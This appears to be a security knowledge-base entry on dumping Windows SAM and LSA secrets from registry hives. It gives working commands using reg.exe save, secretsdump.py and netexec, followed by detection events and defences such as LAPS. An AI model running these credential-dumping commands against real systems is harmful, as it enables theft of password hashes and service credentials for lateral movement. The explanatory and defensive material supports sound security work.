SAM & LSA Secrets Dump

With local administrator privileges on a Windows machine you can dump two credential stores from the registry: the SAM (local accounts' NT hashes) and the LSA secrets (service passwords, cached domain credentials, scheduled tasks). Unlike an LSASS dump, which reads a process's memory, here you read the registry hives on disk.

Why it works. Windows stores local hashes encrypted in the SAM hive, protected by a key (SYSKEY) that lives in the SYSTEM hive; and LSA secrets in the SECURITY hive. A local administrator can export those hives or read them live, and with the three pieces everything is decrypted offline. Out of them come local NT hashes for Pass-the-Hash and, often, the cleartext password of a service account.

The abuse. Locally you save the hives and process them with secretsdump.py LOCAL; over the network, with admin credentials, netexec does the same via --sam and --lsa.

# on the victim: export the three hives
reg.exe save hklm\sam sam.save
reg.exe save hklm\system system.save
reg.exe save hklm\security security.save

# offline: decrypt SAM + LSA secrets
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

# over the network, with a local admin (no disk artefacts)
netexec smb <ip> --local-auth -u <user> -p <pass> --sam
netexec smb <ip> --local-auth -u <user> -p <pass> --lsa

Requirements. You must be local administrator or SYSTEM on the box. SAM hashes belong to local accounts, not the domain; their value is in the reused local admin across machines. LSA secrets, on the other hand, can hold domain credentials (service accounts, autologon).

How to detect it. Access to the SAM/SECURITY hives leaves Event ID 4656/4663 (object access) on those registry keys, and using reg save or a network dump shows up as a connection to the administrative share (ADMIN$, C$) followed by remote registry access. Watching reg.exe save with the hklm\sam|security|system paths and tools that open winreg remotely is the direct signal.

Defence. Restrict and monitor who is local administrator, deploy LAPS so the local admin hash is useless on the next machine, avoid reusing service-account passwords, and protect remote registry access. It is a sibling of the NTDS dump (the domain-level equivalent) and the LSASS dump (memory), and it feeds credential hunting.